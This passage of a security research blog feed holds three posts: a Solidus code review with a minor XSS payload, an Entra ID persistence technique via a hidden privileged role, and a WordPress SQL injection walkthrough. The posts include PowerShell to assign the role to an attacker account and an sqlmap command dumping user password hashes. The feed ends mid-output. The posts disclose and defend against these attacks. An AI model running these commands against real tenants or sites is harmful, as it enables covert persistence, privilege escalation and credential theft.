nitty-gritty of the subject, it may be interesting to identify whether the visited site uses Solidus or not and for that there are several methods.</p><p>On the main shop page, it is possible to search for the following patterns :</p><pre>&lt;p&gt;Powered by &lt;a href=&quot;http://solidus.io/&quot;&gt;Solidus&lt;/a&gt;&lt;/p&gt;<br>/assets/spree/frontend/solidus_starter_frontend</pre><p>Or check if the following JS functions are available :</p><pre>Solidus()<br>SolidusPaypalBraintree</pre><p>Or finally, visit the administration panel accessible at ‘/admin/login’ and look for one of the following patterns :</p><pre>&lt;img src=&quot;/assets/logo/solidus<br>&lt;script src=&quot;/assets/solidus_admin/<br>solidus_auth_devise replaces this partial</pre><p>Unfortunately, no technique seems more reliable than the others and these do not make it possible to determine the version of Solidus.</p><h3>Using website as normal user</h3><p>In order to get closer to the product, I like to spend time using it as a typical user and given the number of routes available, I thought I’d spend a little time there, but I was soon disappointed to see that for a classic user, there isn’t much to do outside the purchasing process. :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ynR9rblX5RW8MwAb" /></figure><p>Once the order is placed, user actions are rather limited</p><ul><li>See your orders</li><li>See a specific order (But no PDF or tracking)</li><li>Update your information (Only email and password)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lebfVb2hVW7tJQTHVQm5gA.png" /></figure><p>We will just add that when an order is placed, an email is sent to the user and a new email is sent when the product is shipped.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fBKW7bBE2EMT3zjKFx0W-A.png" /></figure><p>The administration is also quite limited, apart from the classic actions of an ecommerce site (management of orders, products, stock, etc.) there is only a small amount of configuration that can be done directly from the panel.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*bgYMdTe_o9clx2_u" /></figure><p>For example, it is not possible to configure SMTP, this configuration must be done directly in the Rails project config</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/0*eeIZWgFJ1nD5FlOu" /></figure><h3>Authentication &amp; Session management</h3><p>Authentication is a crucial aspect of web application security. It ensures that only authorized individuals have access to the application’s features and sensitive data.</p><p>Devise is a popular, highly configurable and robust Ruby on Rails gem for user authentication. This gem provides a complete solution for managing authentication, including account creation, login, logout and password reset.</p><p>One reason why Devise is considered a robust solution is its ability to support advanced security features such as email validation, two-factor authentication and session management. Additionally, Devise is regularly updated to fix security vulnerabilities and improve its features.</p><p>When I set up my Solidus project, version 4.9.3 of Devise was used, i.e. the latest version available so I didn’t spend too much time on this part which immediately seemed to me to be a dead end.</p><h3>Authorization &amp; Permissions management</h3><p>Authorization &amp; permissions management is another critical aspect of web application security. It ensures that users only have access to the features and data that they are permitted to access based on their role or permissions.</p><p>By default, Solidus only has two roles defined</p><ul><li><strong>SuperUser </strong>: Namely the administrator, which therefore allows access to all the functionalities</li><li><strong>DefaultCustomer </strong>: The default role assigned during registration, the basic role simply allowing you to make purchases on the site</li></ul><p>To manage this brick, Solidus uses a gem called <a href="https://github.com/CanCanCommunity/cancancan">CanCanCan</a>. Like Devise, CanCanCan is considered as a robust solution due to its ability to support complex authorization scenarios, such as hierarchical roles and dynamic permissions. Additionally, CanCanCan is highly configurable.</p><p>Furthermore, CanCanCan is highly tested and reliable, making it a safe choice for critical applications. It also has an active community of developers who can provide assistance and advice if needed.</p><h3>Some Rabbit Holes</h3><p><strong>1/ Not very interesting Cross-Site Scripting</strong></p><p>Finding vulnerabilities is fun, even more so if they are critical, but many articles do not explain that the search takes a lot of time and that many attempts lead to nothing.</p><p>Digging into these vulnerabilities, even knowing that they will lead to nothing, is not always meaningless.</p><p>Let’s take this Brakeman detection as an example :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/0*wgMgix95_ZOqnDT5" /></figure><p>Despite the presence of `:target =&gt; “_blank”` which therefore makes an XSS difficult to exploit (or via crazy combinations such as click wheel) I found it interesting to dig into this part of the code and understand how to achieve this injection simply because this concerns the administration part.</p><p>Here’s how this vulnerability could be exploited :</p><p>1/ An administrator must modify the shipping methods to add the `javascript:alert(document.domain)` as tracking URL</p><p>2/ A user must place an order</p><p>3/ An administrator must validate the order and add a tracking number</p><p>4/ The tracking URL will therefore correspond to the payload which can be triggered via a click wheel</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Hp3ggZq5itg8QJHT" /></figure><p>By default, the only role being possible being an administrator the only possibility is that an administrator traps another administrator… in other words, far from being interesting</p><p><strong>Note :</strong> According to <a href="https://guides.solidus.io/advanced-solidus/permission-management">Solidus documentation</a>, in a configuration that is not the basic one, it would be possible for a user with less privileges to exploit this vulnerability</p><p><em>Although the impact and exploitation are very low, we have pointed out the weakness to Solidus. Despite several attempts to contact them, we have not received a response.<br>The vulnerability was published under </em><a href="https://www.tenable.com/security/research/tra-2024-15"><em>CVE-2024–4859</em></a></p><p><strong>2/ Solidus, State Machine &amp; Race Conditions</strong></p><p>In an ecommerce site, I find that testing race conditions is a good thing because certain features are conducive to this test, such as discount tickets.</p><p>But before talking about race condition, we must understand the concept of State machine</p><p>A state machine is a behavioral model used in software development to represent the different states that an object or system can be in, as well as the transitions between those states. In the context of a web application, a state machine can be used to model the different states that a user or resource can be in, and the actions that can be performed to transition between those states.</p><p>For example, in Solidus, users can place orders. A user can be in one of several states with respect to an order, such as “pending”, “processing”, or “shipped”. The state machine would define these states and the transitions between them, such as “place order” (which transitions from “pending” to “processing”), “cancel order” (which transitions from “processing” back to “pending”), and “ship order” (which transitions from “processing” to “shipped”).</p><p>Using a state machine in a web application provides several benefits. First, it helps to ensure that the application is consistent and predictable, since the behavior of the system is clearly defined and enforced. Second, it makes it easier to reason about the application and debug issues, since the state of the system can be easily inspected and understood. Third, it can help to simplify the codebase, since complex logic can be encapsulated within the state machine.</p><p>If I talk about that, it’s because the <a href="https://guides.solidus.io/advanced-solidus/state-machines/">Solidus documentation has a chapter dedicated to that</a> and I think it’s quite rare to highlight it !</p><p>Now we can try to see if any race conditions are hidden in the use of a promotion code.</p><p>This section of the code being still in Spree (the ancestor of Solidus), I did not immediately get my hands on it, but in the case of a whitebox audit, it is sometimes easier to trace the code from an error in the site.</p><p>In this case, by applying the same promo code twice, the site indicates the error “The coupon code has already been applied to this order”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*RkuZUHH2n40CH3ap" /></figure><p>Then simply look for the error in the entire project code and then trace its use backwards to the method which checks the use of the coupon</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*p5DItaV8W1sBftJY" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*UvSbkGbur0MVSo0N" /></figure><p>It’s quite difficult to go into detail and explain all the checks but we can summarize by simply explaining that a coupon is associated with a specific order and as soon as we try to apply a new coupon, the code checks if it is already associated with the order or not.</p><p>So to summarize, this code did not seem vulnerable to any race conditions.</p><p>Presenting all the tests carried out would be boring, but we understand from reading these lines that the main building blocks of Solidus are rather robust and that on a default installation, I unfortunately could not find much.</p><p>So, maybe it is more interesting to focus on custom development, in particular extensions. On solidus, we can arrange the extensions according to 3 types</p><ul><li><strong>Official integrations :</strong> <a href="https://solidus.io/integrations">Listed on the main website</a>, we mainly find extensions concerning payments</li><li><strong>Community Extensions :</strong> Listed on a dedicated Github repository, we find various and varied extensions that are more or less maintained</li><li><strong>Others Extensions :</strong> Extensions found elsewhere, but there’s no guarantee that they’ll work or that they’ll be supported</li></ul><p>Almost all official extensions require integration with a 3rd party and will therefore make requests on a third party, which is what I wanted to avoid here.</p><p>Instead, I turned to the community extensions to test a few extensions for which I would have liked to have native functionality on the site, such as PDF invoice export.</p><p>For this, I found the <a href="https://github.com/solidusio-contrib/solidus_print_invoice/">Solidus Print Invoice</a> plugin, which has not been maintained for 2 years. You might think that this is a good sign from an attacker’s point of view, except that in reality the plugin is not designed to work with Solidus 4, so the first step was to make it compatible so that it could be installed …</p><p>As indicated in the documentation, this plugin only adds PDF generation on the admin side.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*QKaSuQikNquWSS6L" /></figure><p>To cut a long story short, this plugin didn’t give me anything new, and I spent more time installing it than I did understanding that I wouldn’t get any vulnerabilities from it.</p><p>I haven’t had a look at it, but it’s interesting to note that other plugins such as <a href="https://github.com/friendlycart/solidus_friendly_promotions">Solidus Friendly Promotions</a>, according to its documentation, replace Solidus cores features and are therefore inherently more likely to introduce a vulnerability.</p><h3>Conclusion</h3><p>Presenting all the tests that can and have been carried out is also far too time-consuming. Code analysis really is time-consuming, so to claim that I’ve been exhaustive and analyzed the whole application would be false but, after spending a few days on Solidus, I think it’s a very interesting project from a security point of view.</p><p>Of course, I’d have liked to have been able to detail a few vulnerabilities, but this blog post tends to show that you can’t always be fruitful.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7e9b606a5c10" width="1" height="1" alt=""><hr><p><a href="https://medium.com/tenable-techblog/solidus-code-review-7e9b606a5c10">Solidus — Code Review</a> was originally published in <a href="https://medium.com/tenable-techblog">Tenable TechBlog</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Stealthy Persistence with “Directory Synchronization Accounts” Role in Entra ID]]></title>
            <link>https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b?source=rss----68728ef06732---4</link>
            <guid isPermaLink="false">https://medium.com/p/63e56ce5871b</guid>
            <category><![CDATA[azure-active-directory]]></category>
            <category><![CDATA[tenable-research]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[microsoft-entra-id]]></category>
            <dc:creator><![CDATA[Clément Notin [Tenable]]]></dc:creator>
            <pubDate>Mon, 03 Jun 2024 13:01:30 GMT</pubDate>
            <atom:updated>2024-12-05T10:42:57.227Z</atom:updated>
            <content:encoded><![CDATA[<h3>Summary</h3><p>The “Directory Synchronization Accounts” Entra role is very powerful (allowing privilege escalation to the Global Administrator role) while being hidden in Azure portal and Entra admin center, in addition to being poorly documented, making it a perfect stealthy backdoor for persistence in Entra ID 🙈</p><p><em>This was discovered by </em><a href="https://www.tenable.com/research"><em>Tenable Research</em></a><em> while working on identity security.</em></p><h3>“Directory Synchronization Accounts” role</h3><p>Permissions inside Microsoft Entra ID (e.g. reset user password, change group membership, create applications, etc.) are granted through Entra roles. This article focuses on the <a href="https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference#directory-synchronization-accounts">Directory Synchronization Accounts</a> role among the around 100 <a href="https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference">built-in Entra roles</a>. This role has the ID “<em>d29b2b05–8046–44ba-8758–1e26182fcf32</em>”, it has the <a href="https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/privileged-roles-permissions">PRIVILEGED label that was recently introduced</a>, and its description is:</p><blockquote>This is a privileged role. Do not use. This role is automatically assigned to the Microsoft Entra Connect service, and is not intended or supported for any other use.</blockquote><p>A privileged role that one should not use? It sounds like an invitation to me! 😉</p><p>The <a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/reference-connect-accounts-permissions#microsoft-entra-connector-account">documentation</a> seems to say that this special role cannot be freely assigned:</p><blockquote>This special built-in role can’t be granted outside of the Microsoft Entra Connect wizard</blockquote><p>This is incorrect since it can be assigned technically, even if it shouldn’t be (<a href="https://github.com/MicrosoftDocs/entra-docs/pull/752">pull-request to fix this</a>).</p><h4>Privileged role</h4><p>I confirm that the role is privileged because, of course, it contains <a href="https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference#directory-synchronization-accounts">some permissions</a> marked as privileged, but also because it has implicit permissions in the private undocumented “Azure AD Synchronization” API (not to be confused with the <a href="https://learn.microsoft.com/en-us/graph/api/resources/synchronization-overview?view=graph-rest-1.0">public “Microsoft Entra Synchronization” API</a>).</p><p>These permissions allow escalation up to the Global Administrator role using several methods that we will see later💥</p><h4>Normal usage by Microsoft Entra Connect</h4><p>The normal usage of this role is indeed to be assigned to the Entra service account used by “<a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-azure-ad-connect">Entra Connect</a>” (formerly “Azure AD Connect”), i.e. the user named “On-Premises Directory Synchronization Service Account” which has a UPN with this syntax: “<em>SYNC_&lt;name of the on-prem server where Entra Connect runs&gt;_&lt;random id&gt;@tenant.example.net</em>”.</p><p>Even though it is not documented (I’ve proposed a <a href="https://github.com/MicrosoftDocs/entra-docs/pull/734">pull-request to fix this</a>), this role is also assigned to the similar Entra service account used by “<a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync">Entra Cloud Sync</a>” (formerly “Azure AD Connect Cloud Sync”), i.e. the user also named “On-Premises Directory Synchronization Service Account” but which has a UPN with this syntax: “<em>ADToAADSyncServiceAccount@tenant.example.net</em>” instead.</p><p>This role grants to the <a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/reference-connect-accounts-permissions#azure-ad-connector-account">Entra service user</a>, the permissions it requires to perform its <a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/what-is-inter-directory-provisioning">inter-directory provisioning</a> duties, such as creating/updating hybrid Entra users from the on-premises AD users, updating their password in Entra when it changes in AD with Password Hash Sync enabled, etc.</p><h4>Security defaults</h4><p><a href="https://learn.microsoft.com/en-us/entra/fundamentals/security-defaults">Security defaults</a> is a feature in Entra ID allowing to activate multiple security features at once to increase security, notably requiring Multi-Factor Authentication (MFA). However, <a href="https://learn.microsoft.com/en-us/entra/fundamentals/security-defaults#:~:text=The%20Microsoft%20Entra%20Connect%20synchronization%20account%20is%20excluded%20from%20security%20defaults%20and%20will%20not%20be%20prompted%20to%20register%20for%20or%20perform%20multifactor%20authentication.%20Organizations%20should%20not%20be%20using%20this%20account%20for%20other%20purposes.">as documented</a> by Microsoft and highlighted by Dr. Nestori Syynimaa @DrAzureAD, the “Directory Synchronization Accounts” role assignees are excluded from security defaults!</p><h3>Dr. Nestori Syynimaa on Twitter: &quot;Pro tip for threat actors:Create your persistent account as directory synchronization account. It has nice permissions and excluded from security defaults 🥷Pro tip for admins:Purchase Azure AD premium and block all users with that role (excluding the real sync account) 🔥 https://t.co/tm7YZtSdQv pic.twitter.com/RUnvILwucE / Twitter&quot;</h3><p>Pro tip for threat actors:Create your persistent account as directory synchronization account. It has nice permissions and excluded from security defaults 🥷Pro tip for admins:Purchase Azure AD premium and block all users with that role (excluding the real sync account) 🔥 https://t.co/tm7YZtSdQv pic.twitter.com/RUnvILwucE</p><p>Nestori also confirmed that the limitation concerns <a href="https://twitter.com/DrAzureAD/status/1531600224711483392">all those assigned to the role</a> (I’ve proposed a <a href="https://github.com/MicrosoftDocs/entra-docs/pull/736">pull-request to update the doc</a>).</p><p>Once again, I understand the need for this since the legitimate accounts are user accounts, thus subject to MFA rules. However, this could be abused by a malicious administrator who wants to avoid MFA 😉</p><h4>Hidden role</h4><p>Here is the proof that this role is hidden in the <a href="https://portal.azure.com/">Azure portal</a> / <a href="https://entra.microsoft.com/">Entra admin center</a>. See this Entra Connect service account apparently having 1 role assigned:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*h6u1SPzNSIX90WGZ" /></figure><p>But no results are shown in the “Assigned roles” menu (same in the other tabs, e.g. “Eligible assignments”) 🤔:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/882/0*AR9WBPxBgDRzyWwZ" /></figure><p>Actually I tested it in several of my tenants and I noticed that the role was displayed in another tenant:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*P3TU9KrskC8oAnl9" /></figure><p>I suppose that the portal is running a different version of the code, or due to a feature-flag or A/B testing, because this one uses the MS Graph API (on graph.microsoft.com) to list the role assignments:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/970/0*GeJznGOW5QvYN26t" /></figure><p>Whereas the other uses a private API (on <em>api.azrbac.mspim.azure.com</em>):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/986/0*n98n9oqpToUif9ft" /></figure><p>I noticed this difference last year when I initially reported this behavior to MSRC.</p><p>And what about the “Roles and administrators” menu? We should be able to see the “Directory Synchronization Accounts” built-in role, isn’t it? Well, as you guessed, it’s hidden too 🙈 (in all my tenants: no difference here):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ZkCMwNawkK4nx6lh" /></figure><p>Note that for those that prefer it, the observations are identical in the Entra admin center.</p><p>I understand that Microsoft decided to hide it since this is a technical role that isn’t meant to be assigned by customers. A handful of other similar roles are hidden too. However, from a security perspective, I find it dangerous because <strong>organizations cannot use the Microsoft portals to see who may have this privileged role assigned illegitimately 😨</strong>! I reported this concern to MSRC (reference VULN-083495) last year, who confirmed that it was not a security issue and that they created a feature request to eventually improve the UX to help customers understand it.</p><p>This is the reason why I consider that this privileged role is a stealthy persistence method for attackers who compromised an Entra tenant.</p><h3>Abuse methods</h3><p>We will see how the security principals (users, but also service principals!) assigned to the “Directory Synchronization Accounts” role can elevate their privileges to the Global Administrator role! 😎</p><h4>Password reset</h4><p>There are several articles online explaining that the Entra Connect (ex- Azure AD Connect) service account in Entra ID is allowed to reset user passwords. One example is the “<a href="https://aadinternals.com/post/on-prem_admin/#modifying-users">Unnoticed sidekick: Getting access to cloud as an on-prem admin</a>” article by Dr. Nestori Syynimaa where “<em>Set-AADIntUserPassword</em>” is used.</p><p>I suppose this is allowed by the “<em>microsoft.directory/passwordHashSync/allProperties/allTasks</em>” Entra permission of the role, but I cannot check for sure.</p><p>There are some limitations though:</p><ul><li>Only hybrid accounts (synchronized from on-premises AD) can be targeted (which was <a href="https://twitter.com/_dirkjan/status/1755619060497469602">only recently fixed</a>)</li><li>Only if Password-Hash Sync (PHS) is enabled, but the role allows to enable it</li><li>Only <em>via</em> the private “Azure AD Synchronization” API, that is <a href="https://aadinternals.com/aadinternals/#user-manipulation-with-ad-sync-api">implemented in AADInternals</a>, whose endpoint is <em>https://adminwebservice.microsoftonline.com/provisioningservice.svc</em> and it must not be confused with other similarly named APIs: the public <a href="https://learn.microsoft.com/en-us/graph/api/resources/synchronization-overview?view=graph-rest-beta">Microsoft Entra Synchronization API</a>, or the private Azure AD Provisioning API. So, the reset must be done using the <a href="https://aadinternals.com/aadinternals/#set-aadintuserpassword-a"><em>Set-AADIntUserPassword</em></a> AADInternals PowerShell cmdlet.</li><li>Not exploitable if the target has MFA or FIDO2 authentication enforced since the password can still be reset but authentication won’t be possible</li></ul><h4>Add credentials to privileged application / service principal</h4><p>The other interesting method was described by <a href="https://twitter.com/fabian_bader">Fabian Bader</a> in this article: “<a href="https://cloudbrothers.info/en/prem-global-admin-password-reset/">From on-prem to Global Admin without password reset</a>”. I recommend that you read the original article, but in a summary, the idea is to identify an application or service principal having powerful Microsoft Graph API permissions, then abuse the “<em>microsoft.directory/applications/credentials/update</em>” or “<em>microsoft.directory/servicePrincipals/credentials/update</em>” Entra permissions, which the “Directory Synchronization Accounts” role holds, to add credentials to it. Thus allowing to authenticate as the service principal, and abuse the appropriate method corresponding to the dangerous Graph API permission to escalate to Global Admin.</p><p>This method was also described by <a href="https://twitter.com/_dirkjan">Dirk-jan Mollema</a> in this article: “<a href="https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/">Azure AD privilege escalation — Taking over default application permissions as Application Admin</a>“.</p><h3>Manage role assignment</h3><p>Since one cannot manage this role using Azure portal nor Entra admin center, how to list or manage its assignees? We will see how, using the <a href="https://learn.microsoft.com/en-us/powershell/microsoftgraph/?view=graph-powershell-1.0">Microsoft Graph PowerShell SDK</a> since the <a href="https://techcommunity.microsoft.com/t5/microsoft-entra-blog/important-update-deprecation-of-azure-ad-powershell-and-msonline/ba-p/4094536">Azure AD PowerShell module is now deprecated</a>.</p><h4>List role assignees</h4><p>The <a href="https://learn.microsoft.com/en-us/powershell/module/microsoft.graph.identity.directorymanagement/get-mgdirectoryrolemember?view=graph-powershell-1.0"><em>Get-MgDirectoryRoleMember</em></a> command allows to list the security principals assigned to a role. We reference the “Directory Synchronization Accounts” role by its well-known ID (as seen in the beginning) instead of its name for better reliability:</p><pre>Connect-MgGraph -Scopes &quot;Domain.Read.All&quot;<br>$dirSync = Get-MgDirectoryRole -Filter &quot;RoleTemplateId eq &#39;d29b2b05-8046-44ba-8758-1e26182fcf32&#39;&quot;<br>Get-MgDirectoryRoleMember -DirectoryRoleId $dirSync.Id | Format-List *</pre><p>The output is not very consistent because role assignees are “security principals” which can be either <a href="https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/manage-roles-portal">users</a>, <a href="https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/groups-assign-role">groups</a>, or service principals (undocumented 😉), so different types of objects.</p><p>In this example I have specified the “<em>Domain.Read.All</em>” Graph API permission when connecting, because it is usually already delegated, but the <a href="https://learn.microsoft.com/en-us/graph/api/rbacapplication-list-roleassignments?view=graph-rest-1.0&amp;tabs=http#for-the-directory-microsoft-entra-id-provider">least privileged permission</a> is actually “<em>RoleManagement.Read.Directory</em>”.</p><h4>Add role assignment</h4><p>And how an attacker wishing to abuse this role for stealthy persistence would assign it? With the <a href="https://learn.microsoft.com/en-us/powershell/module/microsoft.graph.identity.governance/new-mgrolemanagementdirectoryroleassignment?view=graph-powershell-1.0"><em>New-MgRoleManagementDirectoryRoleAssignment</em></a> command:</p><pre>Connect-MgGraph -Scopes &quot;RoleManagement.ReadWrite.Directory&quot;<br>$dirSync = Get-MgDirectoryRole -Filter &quot;RoleTemplateId eq &#39;d29b2b05-8046-44ba-8758-1e26182fcf32&#39;&quot;<br>$hacker = Get-MgUser -UserId upn@example.onmicrosoft.com<br>New-MgRoleManagementDirectoryRoleAssignment -RoleDefinitionId $dirSync.Id -PrincipalId $hacker.Id -DirectoryScopeId &quot;/&quot;</pre><p>In this example, I have specified the “<em>RoleManagement.ReadWrite.Directory</em>” Graph API permission when connecting, which <a href="https://learn.microsoft.com/en-us/graph/api/rbacapplication-post-roleassignments?view=graph-rest-1.0&amp;tabs=http#for-the-directory-microsoft-entra-id-provider">is the least privileged permission</a>.</p><p>Also, if this role has never been used in the tenant (for example if Entra Connect / Entra Cloud Sync was never configured), the role instance must be created from the role template before usage, with this command:</p><pre>New-MgDirectoryRole -RoleTemplateId &quot;d29b2b05-8046-44ba-8758-1e26182fcf32&quot;</pre><h4>Remove role assignment</h4><p>A malicious role assignment, or one which is a leftover from when the Entra tenant was hybrid, can be removed with the <a href="https://learn.microsoft.com/en-us/powershell/module/microsoft.graph.identity.directorymanagement/remove-mgdirectoryrolememberbyref?view=graph-powershell-1.0"><em>Remove-MgDirectoryRoleMemberByRef</em></a> command:</p><pre>$dirSync = Get-MgDirectoryRole -Filter &quot;RoleTemplateId eq &#39;d29b2b05-8046-44ba-8758-1e26182fcf32&#39;&quot;<br>Remove-MgDirectoryRoleMemberByRef -DirectoryRoleId $dirSync.Id -DirectoryObjectId &lt;object ID of the assignee to remove&gt;</pre><h3>Recommendations</h3><p>➡️ As a conclusion, my recommendation is to list and monitor the security principals assigned to the “Directory Synchronization Accounts” role. Since you cannot use the Azure portal / Entra admin center to see those, you must use the Graph API (or the deprecated Azure AD PowerShell module) as described above. Thankfully, you will soon be able list all role assignees from the comfort of <a href="https://www.tenable.com/products/tenable-one">Tenable One</a> or <a href="https://www.tenable.com/products/identity-exposure">Tenable Identity Exposure</a>.</p><p>🕵️ Any unrecognized suspicious assignee must be investigated because it may be a potential backdoor. Does it look like a legitimate Entra Connect or Entra Cloud Sync service user? Does its creation date correspond to the set up date of hybrid synchronization? Etc. <a href="https://www.tenable.com/products/identity-exposure">Tenable Identity Exposure</a> offers the <a href="https://www.tenable.com/indicators/ioe/entra/SUSPICIOUS-DIRECTORY-SYNCHRONIZATION-ACCOUNTS-ROLE-ASSIGNMENT">Suspicious “Directory Synchronization Accounts” Role Assignment</a> Indicator of Exposure (IoE) allowing automatic identification of those suspicious “Directory Synchronization Accounts” role assignments, including more detailed recommendations.</p><p>🛡️ As a safety net, you can also follow Dr. Nestori Syynimaa’s <a href="https://twitter.com/DrAzureAD/status/1531574240914427904">recommendation</a> to create a Conditional Access policy to block all users with that role, except the real legitimate synchronization user. An alternative shared by <a href="https://x.com/rucam365/status/1803487452415369497">Ru Campbell</a> and <a href="https://x.com/nathanmcnulty/status/1803652207998603402">Nathan McNulty</a> is to have a Conditional Access policy to limit this role only from known IPs (the exit IP of the on-premises Entra Connect / Cloud Sync servers).</p><p>🤞 Finally, I hope that Microsoft will soon find a solution, with a better user experience, allowing to discourage the usage of the “Directory Synchronization Accounts” role, without resorting to hiding it, so customers can use the Azure portal or Entra admin center to see the role and its assignees.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=63e56ce5871b" width="1" height="1" alt=""><hr><p><a href="https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b">Stealthy Persistence with “Directory Synchronization Accounts” Role in Entra ID</a> was originally published in <a href="https://medium.com/tenable-techblog">Tenable TechBlog</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[WordPress : From vulnerability identification to compromising]]></title>
            <link>https://medium.com/tenable-techblog/wordpress-from-vulnerability-identification-to-compromising-ae720d60105c?source=rss----68728ef06732---4</link>
            <guid isPermaLink="false">https://medium.com/p/ae720d60105c</guid>
            <category><![CDATA[code-review]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[wordpress]]></category>
            <category><![CDATA[tenable-research]]></category>
            <dc:creator><![CDATA[Joshua Martinelle]]></dc:creator>
            <pubDate>Wed, 29 May 2024 12:04:47 GMT</pubDate>
            <atom:updated>2024-05-29T15:03:44.814Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>WordPress : From vulnerability identification to compromising</strong></h3><p>WordPress Core is the most popular web Content Management System (CMS). This free and open-source CMS written in PHP allows developers to develop web applications quickly by allowing customization through plugins and themes. WordPress can work in both a single-site or a multisite installation.</p><p>Although, as demonstrated by the recent <a href="https://nvd.nist.gov/vuln/detail/CVE-2024-4439">CVE-2024–4439</a> vulnerability, WordPress is not flawless, it remains an extremely robust solution, and from an attacker’s point of view, it’s much easier to find another entry point to compromise a WordPress instance.</p><p>Luckily (or not) this other vector exists and it’s WordPress plugins. With nearly 60,000 free extensions available, any one of them can represent a possible gateway to a complete compromise of your instance.</p><p>Based on our day-to-day work at <a href="https://www.tenable.com/research">Tenable Research</a>, we will illustrate this in this article through different steps/scenarios on a real WordPress instance.</p><p><strong>1/ Identify available WordPress plugins</strong></p><p>When a WordPress plugin is created, developers can rely on a number of standards. Among these standards is the “<a href="https://developer.wordpress.org/plugins/wordpress-org/how-your-readme-txt-works/">Readme.txt</a>” file, which many plugins respect.</p><p>This file can be used by an attacker to identify whether or not a plugin is available. In the knowledge that this file is most of the time available at the URL “http://WORDPRESS/wp-content/plugins/[PLUGIN SLUG]/readme.txt” using a wordlist of plugin names, an attacker can perform bruteforce to identify available plugins.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*WPO4mnVynwYqizTs" /></figure><p>We can see here that we have two plugins installed</p><ul><li><a href="https://wordpress.org/plugins/wps-hide-login/">WPS Hide Login</a></li><li><a href="https://wordpress.org/plugins/paid-memberships-pro/">Paid Memberships Pro</a></li></ul><p>If you take a closer look at the second one, you’ll see that it’s installed in version 2.9.7</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*gVjYc41hxrDj3_1Z" /></figure><p><em>Note : Sometimes the stable tag is empty but you can still look at the changelog section</em></p><p>A quick search reveals that this plugin is vulnerable to an unauthenticated SQL injection !</p><p>Now that we’ve identified the available plugins and that one of them is vulnerable, we’ll now look at how to compromise the WordPress instance.</p><p><strong>2/ From SQL Injection to complete compromission</strong></p><p>First, you need to understand the vulnerability in order to understand how to exploit it. Either by</p><ul><li>Downloading a vulnerable version, looking at the code and trying to reproduce the vulnerability</li><li>Or a public exploit is already available</li></ul><p>In our case, the vulnerability is detailed <a href="https://medium.com/tenable-techblog/multiples-wordpress-plugins-cve-analysis-28843a8b8fd0">in this article</a> and the command to exploit it via the <a href="https://sqlmap.org/">SQLmap</a> tool is provided.</p><p>With SQL Injection, among the available techniques, the most common consists of extracting the users and their password hash.</p><pre>sqlmap -u &quot;http://192.168.1.27/?rest_route=/pmpro/v1/order&amp;code=a&quot; -p code --dbms=MySQL -dump -T wp_users -C user_login,user_pass<br>[...]<br>[14:59:53] [INFO] GET parameter &#39;code&#39; appears to be &#39;MySQL &gt;= 5.0.12 AND time-based blind (query SLEEP)&#39; injectable for the remaining tests, do you want to include all tests for &#39;MySQL&#39; extending provided level (1) and risk (1) values? [Y/n]<br>[...]<br>GET parameter &#39;code&#39; is vulnerable. Do you want to keep testing the others (if any)? [y/N]<br>sqlmap identified the following injection point(s) with a total of 62 HTTP(s) requests:<br>---<br>Parameter: code (GET)<br>    Type: time-based blind<br>    Title: MySQL &gt;= 5.0.12 AND time-based blind (query SLEEP)<br>    Payload: rest_route=/pmpro/v1/order&amp;code=a&#39; AND (SELECT 1804 FROM (SELECT(SLEEP(5)))jJJd) AND &#39;MnNj&#39;=&#39;MnNj<br>[...]<br>Database: wasvwa<br>Table: wp_users<br>[2 entries]<br>+------------+------------------------------------+<br>| user_login | user_pass                          